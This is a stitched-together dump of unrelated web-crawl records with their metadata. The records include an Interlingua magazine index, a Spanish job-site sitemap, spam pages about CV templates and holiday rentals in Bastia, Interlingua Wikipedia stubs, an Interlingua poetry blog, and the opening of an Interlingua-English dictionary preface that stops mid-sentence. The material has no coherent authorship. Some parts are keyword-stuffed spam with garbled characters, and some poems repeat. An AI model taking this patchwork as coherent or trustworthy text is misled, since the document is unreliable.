photos||Conferentia de interlingua|\n|20||Le poeta in action||Marcus Scriptor presentava su recente production in interlingua e narrava de su labor con le poesia.||Th.||Conferentia de interlingua|\n|20||Sculptura al plagia||Th.||Conferentia de interlingua|\n|21||Imagines del conferentia||Conferentia de interlingua|\n|22+23||Le dono de Natal||Traduction in interlingua: Italo Notarstefano||Henry, O.||Litteratura|\n|23||Ama tu litteratura?||Litteratura|\n|24||Un die sin autos in Paris||Th.||Le mundo actual|\n|24||Chirurgos opera elephante||Th.||Le mundo actual|\n|24||Mysterio de Chopin solvite||Th.||Le mundo actual|\n|24||Britannicos es le plus obese||Th.||Le mundo actual|\n|25||Enorme nove diamante trovate||Th.||Le mundo actual|\n|25||Dinosauros dispareva per hasardo||Th.||Le mundo actual|\n|25||Arbore de Natal collabe sub le peso||Th.||Le mundo actual|\n|25||Minus de vinos francese in 2017||Th.||Le mundo actual|\n|26||Le palmas de Las Palmas||Platter, Kenneth||Chronica|\n|27||Union Mundial pro Interlingua – representantes de interlingua||Interlingua|\n|28||Ruud Harmsen||Novas de nomines|\n|28||Memora pagar tu abonamento a Panorama pro 2018||Novas de nomines|\n|28||Felice Natal e un multo bon anno nove||Novas de nomines|\n|28||Vladas Kazlauskas||Novas de nomines|\n|28||Que es interlingua? Como contribuer||Interlingua|","id":"","dump":"CC-MAIN-2020-34","url":"https:\/\/www.interlingua.com\/panorama\/indices\/anno_2017\/","date":"2020-08-13T18:10:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-34\/segments\/1596439739048.46\/warc\/CC-MAIN-20200813161908-20200813191908-00455.warc.gz","language":"ina","language_score":0.9787485003,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.9787485003471375}","num_words":5070,"character_repetition_ratio":0.188,"word_repetition_ratio":0.045,"special_characters_ratio":0.258,"stopwords_ratio":0.038,"flagged_words_ratio":0.0,"lang_id_score":0.982,"perplexity_score":6788.0,"cluster_detection":-1} +{"text":"Todas las páginas web de Tablerotrabajo usan cookies. Si continuas usando Tablerotrabajo, expresas tu conformidad con nuestro uso de cookies.\nOK\nConocer más\nToggle navigation\nmenu\nCandidatos\nEmpresas\n¿Qué trabajo buscas?\n¿Dónde?\nBuscá\nPublicar gratis\nHome\nMapa del Sitio\nExplora por profesión\nSeleccionar localidad\nJava senior developer Ver ofertas de empleo por provincia\nJava senior developer Andalucía\nJava senior developer Almería\nJava senior developer Cádiz\nJava senior developer Córdoba\nJava senior developer Granada\nJava senior developer Huelva\nJava senior developer Jaén\nJava senior developer Las Palmas\nJava senior developer Málaga\nJava senior developer Sevilla\nJava senior developer Aragón\nJava senior developer Huesca\nJava senior developer Teruel\nJava senior developer Zaragoza\nJava senior developer Asturie\nJava senior developer Oviedo\nJava senior developer Canarias\nJava senior developer Canarias\nJava senior developer Tenerife\nJava senior developer Cantabria\nJava senior developer Cantabria\nJava senior developer Santander\nJava senior developer Castilla y León\nJava senior developer Ávila\nJava senior developer Burgos\nJava senior developer León\nJava senior developer Palencia\nJava senior developer Salamanca\nJava senior developer Segovia\nJava senior developer Soria\nJava senior developer Valladolid\nJava senior developer Zamora\nJava senior developer Castilla-La Mancha\nJava senior developer Albacete\nJava senior developer Ciudad Real\nJava senior developer Cuenca\nJava senior developer Guadalajara\nJava senior developer Toledo\nJava senior developer Cataluña\nJava senior developer Barcelona\nJava senior developer Girona\nJava senior developer Lleida\nJava senior developer Tarragona\nJava senior developer Ceuta\nJava senior developer Ceuta\nJava senior developer Comunidad de Madrid\nJava senior developer Madrid\nJava senior developer Comunidad Valenciana\nJava senior developer Alicante\nJava senior developer Castellón\nJava senior developer Valencia\nJava senior developer Extremadura\nJava senior developer Badajoz\nJava senior developer Cáceres\nJava senior developer Galicia\nJava senior developer La Coruña\nJava senior developer Lugo\nJava senior developer Orense\nJava senior developer Pontevedra\nJava senior developer Illes Balears\nJava senior developer Baleares\nJava senior developer La Rioja\nJava senior developer La Rioja\nJava senior developer Logroño\nJava senior developer Melilla\nJava senior developer Melilla\nJava senior developer Navarra\nJava senior developer Navarra\nJava senior developer País Vasco\nJava senior developer Álava\nJava senior developer Bilbao\nJava senior developer Guipúzcoa\nJava senior developer San Sebastián\nJava senior developer Vitoria\nJava senior developer Vizcaya\nJava senior developer Principado de Asturias\nJava senior developer Asturias\nJava senior developer Región de Murcia\nJava senior developer Murcia\nJava senior developer zaragopza","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/www.tablerotrabajo.com\/sitemap\/choose-place?title=java%20senior%20developer","date":"2019-04-18T18:42:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578526228.27\/warc\/CC-MAIN-20190418181435-20190418203435-00344.warc.gz","language":"ina","language_score":0.7445825934,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.7445825934410095, \"eng_Latn_score\": 0.06686476618051529, \"ile_Latn_score\": 0.061004508286714554, \"lfn_Latn_score\": 0.0258133877068758, \"nov_Latn_score\": 0.021706905215978622, \"ita_Latn_score\": 0.014743628911674023}","num_words":739,"character_repetition_ratio":0.461,"word_repetition_ratio":0.047,"special_characters_ratio":0.138,"stopwords_ratio":0.012,"flagged_words_ratio":0.0,"lang_id_score":0.855,"perplexity_score":20245.8,"cluster_detection":-1} +{"text":"Como formular un curriculum vitae fresh 21 sample curriculum vitae. Como formular un curriculum vitae fresh 21 sample curriculum vitae. O hacer una carta de presentaci³n con ejemplos modelos 2018 como formular un curriculum vitae. Como formular un curriculum vitae curriculum vitae vs resume best curriculum vitae vs resume sample. Como formular un curriculum vitae sitemap – zooz1 plantillas.\nComo formular Un Curriculum Vitae Fresh 21 Sample Curriculum Vitae fuente: xunhuagd.com\nComo formular Un Curriculum Vitae Fresh 21 Sample Curriculum Vitae fuente: xunhuagd.com\nO Hacer Una Carta De Presentaci³n Con Ejemplos Modelos 2018 Como formular Un Curriculum Vitae fuente: claudioinacio.com\nComo formular Un Curriculum Vitae Curriculum Vitae Vs Resume Best Curriculum Vitae Vs Resume Sample fuente: radio-viva.com\nComo formular Un Curriculum Vitae Sitemap – Zooz1 Plantillas fuente: zooz1.com\nRirekisho O Preencher Curriculo No Japao Como formular Un Curriculum Vitae fuente: youtube.com\nComo formular Un Curriculum Vitae O Hacer Un Curriculum Vitae En Word Paso A Paso – Excepcional fuente: aurorafilm.org\nRirekisho o preencher curriculo no japao como formular un curriculum vitae. Como formular un curriculum vitae o hacer un curriculum vitae en word paso a paso – excepcional. Curriculum vitae curriculum para primer trabajo formato de como formular un curriculum vitae. Como formular un curriculum vitae o hacer un curriculum vitae europeo en word curriculum europeo.","id":"","dump":"CC-MAIN-2019-22","url":"http:\/\/curriculumvt.me\/como-formular-un-curriculum-vitae\/","date":"2019-05-27T11:55:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-22\/segments\/1558232262369.94\/warc\/CC-MAIN-20190527105804-20190527131804-00061.warc.gz","language":"ina","language_score":0.3507210612,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.3507210612297058, \"arg_Latn_score\": 0.18889707326889038, \"glg_Latn_score\": 0.10037396103143692, \"sco_Latn_score\": 0.07318136096000671, \"ast_Latn_score\": 0.0707046389579773, \"lat_Latn_score\": 0.059619419276714325, \"spa_Latn_score\": 0.04513050988316536, \"eus_Latn_score\": 0.011094624176621437}","num_words":393,"character_repetition_ratio":0.268,"word_repetition_ratio":0.573,"special_characters_ratio":0.18,"stopwords_ratio":0.099,"flagged_words_ratio":0.0,"lang_id_score":0.493,"perplexity_score":4886.9,"cluster_detection":-1} +{"text":"Location Bastia Particulier\nLocation Bastia Particulier\nLocation biguglia pour vos vacances avec iha particulier location bastia particulier\nLocation appartement bastia maison design apsip location bastia particulier\nLocation bastia pour vos vacances avec iha particulier location bastia particulier\nLocation de logements corse 20 de particulier particulier location bastia particulier\nLocation Bastia Particulier | |","id":"","dump":"CC-MAIN-2019-30","url":"http:\/\/yevtukh.info\/location-bastia-particulier\/","date":"2019-07-17T23:25:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-30\/segments\/1563195525414.52\/warc\/CC-MAIN-20190717221901-20190718003901-00260.warc.gz","language":"ina","language_score":0.3293073177,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.32930731773376465, \"fra_Latn_score\": 0.1775546818971634, \"dag_Latn_score\": 0.05711390823125839, \"atj_Latn_score\": 0.0496467724442482, \"bjn_Latn_score\": 0.043913211673498154, \"eng_Latn_score\": 0.03309067338705063, \"wol_Latn_score\": 0.027570001780986786, \"scn_Latn_score\": 0.02397162839770317, \"mfe_Latn_score\": 0.021981533616781235, \"oci_Latn_score\": 0.016625279560685158, \"ron_Latn_score\": 0.015151015482842922, \"lat_Latn_score\": 0.015052038244903088, \"ile_Latn_score\": 0.014975057914853096, \"bam_Latn_score\": 0.01486878376454115, \"frp_Latn_score\": 0.010714435949921608, \"por_Latn_score\": 0.010388417169451714}","num_words":93,"character_repetition_ratio":0.213,"word_repetition_ratio":0.238,"special_characters_ratio":0.134,"stopwords_ratio":0.011,"flagged_words_ratio":0.0,"lang_id_score":0.369,"perplexity_score":19244.8,"cluster_detection":-1} +{"text":"Santo Tomé de Zabarcos\n|Santo Tomé de Zabarcos|\n\n\n|Classe||municipalitates de Espania|\n|Pais||Espania|\n|Capital||Santo Tomé de Zabarcos[*]|\n|Population||72|\n|Area||8 km²|\n|Situate in||Provincia de Avila|\n|Altitude||959 m|\n|Coordinatas||40°47'10\"N, 4°54'36\"W|\n|Fuso horari||UTC+01:00|\n|Geonames ID||3109508|\n|Sito web: http:\/\/www.santotomedezabarcos.es\/|\n|Wikimedia Commons Category|\nSanto Tomé de Zabarcos\nSanto Tomé de Zabarcos es un municipalitate que se trova in le provincia de Avila, in le communitate autonome de Castilia e Leon, Espania.","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/ia.wikipedia.org\/wiki\/Santo_Tom%C3%A9_de_Zabarcos","date":"2023-06-01T20:03:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224648000.54\/warc\/CC-MAIN-20230601175345-20230601205345-00249.warc.gz","language":"ina","language_score":0.3163009882,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.31630098819732666, \"glg_Latn_score\": 0.14291912317276, \"vec_Latn_score\": 0.06794225424528122, \"arg_Latn_score\": 0.043783195316791534, \"atj_Latn_score\": 0.03084511309862137, \"lij_Latn_score\": 0.02997584082186222, \"cbk_Latn_score\": 0.021631699055433273, \"spa_Latn_score\": 0.020944472402334213, \"nap_Latn_score\": 0.020028380677103996, \"lmo_Latn_score\": 0.015635769814252853, \"nov_Latn_score\": 0.015040329657495022, \"sco_Latn_score\": 0.013262675143778324, \"frp_Latn_score\": 0.012119187973439693}","num_words":125,"character_repetition_ratio":0.151,"word_repetition_ratio":0.086,"special_characters_ratio":0.3,"stopwords_ratio":0.016,"flagged_words_ratio":0.0,"lang_id_score":0.225,"perplexity_score":4256.3,"cluster_detection":-1} +{"text":"Apr 18, 2015\nIn nostre dies le majoritate del usatores del telephonos cellular ha un si appellate smartphone, un telephono intelligente. Con illo on pote, ultra telephonar e inviar SMSes, facer le majoritate del cosas que on face al computator: navigar le internet, ascoltar musica, jocar etc. Il anque es facile a prender photos e registrar films. On mesmo pote pagar su facturas e pagar con illo in certe botecas.\nDel internet on pote discargar, gratuitemente o contra un summa minor, si appellate apps, applicationes, isto vole dicer simple programmas con functiones specialisate.\nUltra apps con jocos e altere formas de intertenimento il ha GPS, le systema satellitic de positionamento global, que da le possibilitate de saper exactemente ubi on se trova al mundo e facilemente trovar le correcte adresse, pro exemplo quando on vade alicubi con su auto.\nSi on vole apprender alique il ha apps pro studiar e si on es molestate de mosquitos il ha un app que face le altoparlator del smartphone emitter ultrasonos que repulsa le parve sanguisugas.\nApps pro Facebook, Twitter, Instagram e Kik e alteres da le possibilitate a sempre poter informar le ambiente de su activitates e apprender lo que face omne le amicos, e commentar lo.\nIl es facile a realisar que un tal apparato pote esser difficile a poner al latere. Ci il ha alique pro cata uno e illo pote esser usate in multe situationes quotidian. Quando on attende al autobus, in le cauda del supermercato, mesmo in le sala de cinema, le smartphone se revela. Gente lo aspecta quando illos vade al trottoir o mesmo quando illos conduce le auto. Parentes preme al schermettos con oculos fixate e a pena remarca que lor parve infantes essaya communicar se con illos. Sovente homines plange se del facto que lor consortes dedica plus de tempore a su telephonos que a su amante.\nQuando le parlamento svedese esseva inaugurate post le vacantia estive in 2013 le photographo del jornal Dagens Nyheter capturava con su camera como un grande numero del consilieros usava su smartphones durante le orationes inaugural.\nSin facer alicun examinationes scientific on pote constatar que un notabile parte del population es dependente del smartphones. Illos se ha accostumate a sempre esser \"a linea\", actualisate del ultime eventos, in contacto con su amicos del internet, con accesso a (quasi) tote le cognoscentia del mundo e immediate stimulation e intertenimento.\nCata secunda debe esser plenate con activitate. Non plus existe tempore pro relaxation o reflexion, e mesmo in un grado minor pro presentia libere de pensatas in le nunc, ubi le mente pote regenerar, purificar se e crear spatio pro pensatas plus profunde. Le vita sempre accelera usque al momento quando le imagines vacilla ante le oculos como un videoclip hysteric.\nLe smartphone es un instrumento potente e versatile, que in le futuro proxime sera indispensabile in le execution del cargas quotidian. Le defia pro nos es: apprender nos a usar lo rationalmente e con moderation, assi que nos non oblidara le multe opportunitates que le mundo real offere a cultivar nos e trovar stimulation in un maniera multo plus variate que trans un schermo que mesura tres uncias.\n(Chronica publicate in Panorama in interlingua, No. 3\/2014, maio-junio)\nMar 27, 2015\nNos ha differente opiniones\nhabitos e religiones\nsi nos vole superviver\nnos debe apprender\nle un le altere tolerar\ncessar odiar, in vice amar\nnon plus le ambiente devastar\ne ora, ora lo sanar\nL'integre humanitate\nes un sol familia\ncata nationalitate\ncata puero, cata filia\nUnite nos viagiara\nusque al stellas\nyo crede que nos creara\nun mundo sin guerras\nNos ha le mesme sanguine\nnos ha le mesme origine\nin calide, suave Africa\nora nos vive in l'Americas\nNos vive in Australia\nEuropa e in Asia\nFratres e sorores\nin diverse, belle colores\nTu dice que tu besonia nemo\nma io vide le vacuitate in tu oculos\nTu sta immobilemente\ne lassa le alteres passar\nTime tu personas qui non existe?\nHa tu pavor ante le homines real\nqui sta circum te?\nTu es un gutta\nin un deserto lontan del mar\nLe sal e le sablo\nrende tu vista turbide\nVide tu illes qui passa?\nLor manos extendite?\nIo prende tu mano in le mie\ne insimul nos va al citate\nNos vacilla sur le dorso\ndel tortuca gigantesc\nIn distantia nos audi\nsu respiration anhelante\nlentemente illo voga\nal oceano primordial\nNos caressa su vetuste concha\nIbi nos trova cosas inexpectate\npro le quales nos manca parolas\ne que nos non sape como usar\nUbi illo nos porta?\nLe viage ancora es longe\nIn distantia nos vide\nincognite animales marin\nIllos nata via\nNos nos addormira et eveliara\ne postea de novo addormira\nma le tortuca nunquam dormi\nYo cambiava le pneu al rota del vita\nsatisfacente le demandas de mi marita\nLe pneus era plen de grande foramines\ncausate d'immunditias lassate de homines\nIn vesper' yo brossava le dente del tempore\nin speculo videva mi vetere corpore\nle fluor excessive del dentifricio\ndamnificava mi gingiva, qual supplicio!\nsatisfacente le demandas de mi marita\nLe pneus era plen de grande foramines\ncausate d'immunditias lassate de homines\nIn vesper' yo brossava le dente del tempore\nin speculo videva mi vetere corpore\nle fluor excessive del dentifricio\ndamnificava mi gingiva, qual supplicio!\nMar 16, 2015\nIo es un funambulo\nbalanciante al fun tanto tenue\ntendite inter le luna\ne le polo boreal\nIn le mano dextere io ha un parapluvia\ne in le sinistre un parasol\nDurante le dies io vade avante\nreguardante in basso\nobservante le occurrentias mundan\nIo vide joia e suffrentia\namor e odio\nguerra e pace\nsagessa e stupiditate\nma io es super tote iste cosas\nbalanciante sur le corda sin cader\nni in obscuritate, ni in lumine\nDurante le noctes io me jace sur le fun\ne quando io claude mi oculos\nio vide le Buddha ante me\ncon le un oculo aperte\ne le altere claudite,\nal bucca un calme surriso legier\nIlle dice a me:\n\"Non time le via\nTanto longe que tu memorara le fin\ntu non cadera del fun\nMa mesmo si tu caderea\nun altere fun attende in fundo\nusque a tu apprendera mantener le equilibrio\nToto lo que tu vide passara\nNove cosas prendera lor placia\nma tu natura interior remanera le mesme\nnonobstante le multe facies que tu portara\nAl fin del fun tu trovara\nle ver natura del natura interior\"\nAudiente tal verbos\nio realisa que io specta un speculo\nIo me evelia, aperi le oculos, senti que io cade\nMa le terra de facto se retira!\nLe celo es de plus in plus proxime\nLe stellas susurra a me:\n\"Ancora tu non te ha eveliate...\"\nIn le plus profunde nocte\nle casas son inveloppate\nin obscuritate\nTote le fenestras son tenebrose\nLe habitantes dormi\nSolo detra un vitro\nbrilla le luce\nDetra le cortina\nun umbra inquiete se move\nUn homine anxie\nrefusa cessar laborar\nLe penna nervosemente\nballa a un folio post le altere\nLe pirouettes lassa tracias nigre\nin le blancor\nle quales attendera le scrutinio\nde oculos futur\nLe figura se leva,\nlassa le tabula, exi,\nma le lampa continua radiar\nMa tosto le protagonista reveni\nUn curte pausa\ne postea de novo al travalio\nDistante es le alba\nFeb 1, 2015\nLe futuro es un femina con facie invisibile\nSu vestimentos sempre cambia de color\nIn le mano dextere illa tene spero,\nin le mano sinistre illa tene timor\nIlla nos attende al via\nQuando nos nos ha approximate\nilla dice con voce indistincte,\nassi como ex grande distantia:\n\"seque me a in lo celate!\"\nSu scarpas blanc lassa tracias rubide\nUbi tu nos duce, femina mystic?\nDebe nos sequer tu tracias\no pote nos cercar nostre proprie via?\nAn le viage sera longe?\nAn'lo nos ducera trans multe belle urbes?\nAn'lo nos ducera al domo del esseres eternal?\nIlla se torna\nforsan surridente, forsan plorante,\nremove su mantello\ne lo pone al terra\nImagines appare a illo\nvacillante e cambiante rapidemente\nNon es possibile perciper los\nLe tempore in su forma condensate\nnon pote esser decifrate\nQuando illa vide nostre reguardos confuse\nilla prende le mantello\nse torna e continua vader\nNos debe sequer la\nSi nos remane hic, morira le tempore\nQue nos sempre vade in avante!\nNude illa dansava\nLibere, felice\nIn verde herba\nle pedes colorava\nLe capillos le sol\nilluminava\nNemo la videva\nAssi illa voleva\nIlla dansava\npro se mesme\ne pro nemo plus\nMovimentos nasceva\nin profundos del anima\nBeltate del corpore\nreflecteva le nobile\naspecto del spirito\nIo es un flocco de nive\nin le medio del estate\ne tu es un radio solar\nin le medio del nocte hibernal\nTu es materia\ne io antimateria\ne quando nos nos incontra\nnos deveni nihil\nNostre parolas collide\na medie cammino\ne recula retro\nal bucca que los creava\nQuando io dice 'si'\ntu dice 'non'\ne quando io dice 'nunquam'\ntu dice 'sempre'\nIo es un grano de arena\nin un vaste oceano\ne tu es un gutta de aqua\nin un deserto sablose\nQual es le differentia\ninter le alba e le crepusculo?\nTu dice que illos son oppositos\nma in mi oculos illos son intercambiabile\nQuando io me addormi io deveni eveliate\ne quando io me evelia io entra in le somno\nIn sonios io es libere\nLe crepusculo es mi aurora\ninter le alba e le crepusculo?\nTu dice que illos son oppositos\nma in mi oculos illos son intercambiabile\nQuando io me addormi io deveni eveliate\ne quando io me evelia io entra in le somno\nIn sonios io es libere\nLe crepusculo es mi aurora\nJan 19, 2015\nArbores in nebula\nnigre contra gris\ngris contra grisastre\nIndistincte ben que proxime\nInvisibile in distantia\nLe nebula cela\nle contornos del bosco\nEsseres incognite\nvade furtivemente inter truncos\nAn es vespere\no matino?\nLe horologio se ha arrestate\nma mi passos\ncontinua echoar in le nebula","id":"","dump":"CC-MAIN-2015-18","url":"http:\/\/poemasepensatas.blogspot.com\/","date":"2015-04-18T13:10:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2015-18\/segments\/1429246634333.17\/warc\/CC-MAIN-20150417045714-00115-ip-10-235-10-82.ec2.internal.warc.gz","language":"ina","language_score":0.9999783039,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.9999783039093018}","num_words":1960,"character_repetition_ratio":0.026,"word_repetition_ratio":0.095,"special_characters_ratio":0.194,"stopwords_ratio":0.052,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":2048.3,"cluster_detection":-1} +{"text":"San Bartolomé de Béjar\n|San Bartolomé de Béjar|\n|Classe||municipalitates de Espania|\n|Pais||Espania|\n|Population||47|\n|Area||16,49 km²|\n|Situate in||Provincia de Avila|\n|Altitude||1 117 m|\n|Coordinatas||40°24'29\"N, 5°39'47\"W|\n|Fuso horari||UTC+01:00|\n|Geonames ID||3110843|\n|Sito web: http:\/\/www.sanbartolomedebejar.es\/|\n|Wikimedia Commons Category|\nSan Bartolomé de Béjar\nSan Bartolomé de Béjar es un municipalitate que se trova in le provincia de Avila, in le communitate autonome de Castilia e Leon, Espania.","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/ia.wikipedia.org\/wiki\/San_Bartolom%C3%A9_de_B%C3%A9jar","date":"2023-03-30T14:40:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296949331.26\/warc\/CC-MAIN-20230330132508-20230330162508-00778.warc.gz","language":"ina","language_score":0.3583452106,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.3583452105522156, \"vec_Latn_score\": 0.10195384174585342, \"atj_Latn_score\": 0.073208287358284, \"glg_Latn_score\": 0.04256552457809448, \"nov_Latn_score\": 0.028720464557409286, \"sco_Latn_score\": 0.0264304056763649, \"oci_Latn_score\": 0.02555779553949833, \"nrm_Latn_score\": 0.016542082652449608, \"lmo_Latn_score\": 0.015525421127676964, \"lij_Latn_score\": 0.012735992670059204, \"scn_Latn_score\": 0.012460573576390743, \"frp_Latn_score\": 0.01125242467969656, \"dag_Latn_score\": 0.010227398946881294}","num_words":127,"character_repetition_ratio":0.135,"word_repetition_ratio":0.178,"special_characters_ratio":0.305,"stopwords_ratio":0.016,"flagged_words_ratio":0.0,"lang_id_score":0.329,"perplexity_score":4391.3,"cluster_detection":-1} +{"text":"1\nInterlingua\n-\nAnglese\nun dictionario del lingua international\npreparate per le bureau de recerca del\nAssociation del Lingua Auxiliari International\nsub le direction de Alexander Gode, Ph.D.\nCopyright, 1951,\nper le Association del Lingua Auxiliari Intern\national\nImprimite in le Statos Unite de America\nLibrary of Congress Catalog Card Number 75\n-\n144342\nISBN 0\n-\n8044\n-\n0188\n-\n8\nPrefacio al Secunde Edition\nIste dictionario era initialmente publicate sub le auspicios e le supervision del\nAssociation del Lingua Aux\niliari International in 1951.\nIn 1971, post vinti annos, illo es\nreimprimite.\nObviemente iste libro non pote esser classificate como un \"best seller\" mesmo per le\nstandards conservative del mercato de dictionarios, e le question \"Proque reimprimer\nle libro\n?\" debe esser respondite como face le question \"Que occurreva al impression\noriginal de cinque milles exemplares?\"\nLe responsa al secunde question es: Alicunos de iste libros collige pulvere al porta\n-\nlibros de enthusiastas qui transientemente imbraciava In\nterlingua como un salvation\nmundial; sed le grande majoritate de exemplares son nunc disperse sur le facie del\nglobo, in bibliothecas de individuales e institutiones que son conscie de e interssate in\nle similaritates linguistic in le structura del linguas\nromance. Iste similaritates son,\npost toto, le substantia e le spina de iste libro.\n2\nAl prime question: Le dictionario ha essite reimprimite proque il ha demanda pro illo.\nIsto indica que in duo decennios Interlingua non ha simplemente exhaurite su\nutilita\nte e es nunc circumerrante in placias extravagante como un atavismo historic\nsed que illo ha establite se in Europa e America, exequente su function de\ncommunicationes in tal campos varie como spectroscopia molecular e demographia.\nAnte vinti annos le\nDict\nionario Interlingua Anglese\nera le producto de un aventura\nde recerca linguistic; hodie illo es un utensile establite in communication\ninternational.\nA. GODE, SECRETARIO EXECUTIVE\nINSTITUTO DE INTERLINGUA\nContentos\nPROLOGO\nINTRODUCTION\no\nTheoria e Princip\nios\nLinguas International\nParolas International\nVariantes e Lor Prototypos\nLinguas de Fonte o de Controlo\nSummario\no\nMethodo e Technicas\nEligibilitate de Parolas International\nForma del Parolas International\nTerminationes\nFormas in Series Derivational\nFamili\nas de Parolas\nExemplos Non\n-\nLatin\nSummario de Definitiones\nSignification del Parolas International\no\nLe Vocabulario International\nFormation Active de Parolas\nLista de Affixos Active\nFormation Libere\nORTHOGRAPHIA E PRONUNCIATION\nNOTAS EXPLICATIVE\nABBREVIATIONE\nS USATE IN LE DICTIONARIO\nDICTIONARIO INTERLINGUA\n-\nANGLESE\nConsciente del function del scientia\nin le establimento\n3\nde un lingua commun pro communication international,\nAlice V. Morris e Dave Hennen Morris\ninterprendeva a provider un movimento de lingua au\nxiliar\ncon un centro de recerca, un laboratorio e un foro.\nLe Association del Lingua Auxiliari International\nera fundate sub lor direction.\nSub lor supervision\nsu programma de labor era concipite e disveloppate.\nPer vinti\n-\ncinque annos\nsra Morris participav\na\nin omne phase del labor del Association.\nOmne tempore\nille labor derivava le optime beneficio\nde sagessa de su sposo,\nex su experientia in affaires international.\nQue iste libro,\ncomo un fundation pro labor futur\nper omne intention al complimento\nde un l\ningua auxiliar mundial,\nva esser lor memorial vivente.\n4\nALICE V. MORRIS (1874\n–\n1950)\n5\nDAVE HENNEN MORRIS (1872\n–\n1944)\nPrologo\nLe Interlingua\n-\nEnglish Dictionary es le ultime producto del longe programma de\nrecerca del International Auxiliary Language Association.\nLe intention del Dictionario es fornir un vocabulario scientificamente sol\nide pro le\nlingua auxiliar que es besoniate in omne brancas de communication international. Le\nmethodos objective usate in su compilation deberea facer lo un obra referential de\nvalor in le campo general de linguistica comparative. Su scopo primari, totevi\na, es\nsatisfacer le necessitates de omne personas qui labora in le campo special de\ninterlinguistica.\nInterlinguistica\n.\n-\nLe recerca pro un commun lingua international pote esser\nretrotraciate al initio del era moderne. Le idea de obtenir tal lingua ex le\nelementos\ncommun a linguas national appareva al fin de deceoctave e al initio del decenone\nseculos. Ab iste initios ha venite le developpamento gradual de iste branca de\nlinguistica comparative que es nominate interlinguistica.\nPersonas ex multe nationali\ntates ha participate al developpamento de illo.\n6\nLe prime persona qui elaborava un systema complete de lingua auxiliar que se basava\nsuper elementos commun in linguas national era un espaniol, Pirro, cuje\nUniversalglot era publicate in 1868.\nVolapük, le ob\nra de un clerico german, Johann Martin Schleyer, appareva in 1880.\nIllo usava le idea in un modo limitate e basate pesantemente super anglese. Iste\nsystema habeva durante un decennio popularitate extraordinari lo que justificava le\nestablimento de un Acade\nmia de Volapük.\nEsperanto, etiam un creation de un singule homine, dr Ludwig Lazarus Zamenhof ex\nPolonia, era publicate in 1887 e attingeva renomine large. In 1894 dr Zamenhof ipse\nproponeva un Esperanto reformate in responsa a demandas inter su discipulo\ns pro\nun grammatica simplificate e un vocabulario plus international.\nSu propositiones non\nera adoptate.\nIn 1907 tres franceses, Louis Leau, Louis Couturat, e Louis de Beaufront, era capites\nde un delegation que de novo proponeva certe reformas in Esperan\nto. Le resultato era\nun schisma in le movimento de Esperanto e le promulgation de un altere systema\nnominate Ido.\nLe systema original de dr Zamenhof remaneva le fundo de omne publicationes e\norganisationes de Esperanto, del quales il ha multes in omne par\ntes del mundo.\nIdo\nha etiam essite usate con successo in multe publicationes.\nEsperanto II, un systema proponite per René de Saussure ex Helvetia, que aspirava a\nremover certe aspectos de Esperanto ma reteniente lor structura fundamental, ha\nnunquam essit\ne usate extensivemente.\nIntertanto un austriano, Julius Lott e un chileano Alberto Liptay, habeva clarificate\nulteriormente le idea que \"un lingua international non debe esser inventate. Illo\nexiste. On debe solmente colliger tote su parolas e poner los i\nn ordine\". Quando\nWaldemar Rosenberger, un russo, assumeva le direction del declinante Academia de\nVolapük, ille lo converteva in un centro energic de experimentation del principio de\nLiptay. Le resultatos, publicate in 1902, deveniva cognite como Idiom Ne\nutral. Un\ncontemporaneo de Rosenberg, basate su obra super mesme principios, era dr H.\nMolenaar ex Germania. Ille ha continuate a advocar su systema sub le nomine de\nUnial.\nIn 1910, le Academia de Idiom Neutral (previemente Volapük), sub direction de un\nm\nathematico italian, Giuseppe Peano, deveniva Academia Pro Interlingua, un\nsocietate de recerca in interlinguistica. Le major parte de su publicationes era in le\nforma de interlingua cognite como Latino sine Flexione, sed le membros de illo era\nlibere a exp\nerimentar e advocar altere propositiones. Un membro, Aldo Lavagnini, un\nitaliano qui viveva in Mexico, promoveva su proprie systema sub le nomine de Mondi\nLingua. Sra Alice V. Morris, representante le International Auxiliary Language\nAssociation, deveniva\nun membro del Academia. Su quartiero general era in Torino,\nItalia. Post le secunde guerra mundial illo era reorganisate in le Paises Basse.\nOccidental, subsequentemente nominate Interlingue, era publicate per un estoniano,\nEdgar de Wahl, in 1925 (1922!\n-\n-\nAllan Kiviaho). De Wahl e su gruppo devotava multe\nattention al problema de combinar grande naturalitate con grande regularitate in le\n7\npatronos de lor lingua. Illo trovava multe advocatos in omne partes de Europa. Varie\ntypos de periodicos ha essite regu\nlarmente publicate in ille lingua.\nLe quartiero\ngeneral del Interlingue\n-\nUnion es in Suissa.\nIn 1925 Joseph Weisbart, etiam un germano, comenciava promover su Medial. Otto\nJespersen, un linguista del fame international ex Danmark, produceva su proprie\nsyst\nema nominate Novial.\nDurante le ultime quarto de un seculo experimentation in interlinguistica se ha\nintensificate. Inter le systemas recentemente publicate son Interglossa per Lancelot\nHogben ex Grande Britannia, Internasional per Paul Mitrovitch ex Yugo\nslavia,\nMondial per Helge Heimer ex Svedia, Neolatino per André Schild ex Helvetia,\nInternacional per Campos Lima ex Portugal e Ling per Anders Olsen ex Svedia. Multe\naltere productos create per un singule homine son in forma de manuscripto.\nQuestiones co\nntroversial pertinente a vocabulario e grammatica ha causate un si\ngrande varietate de systemas de linguas 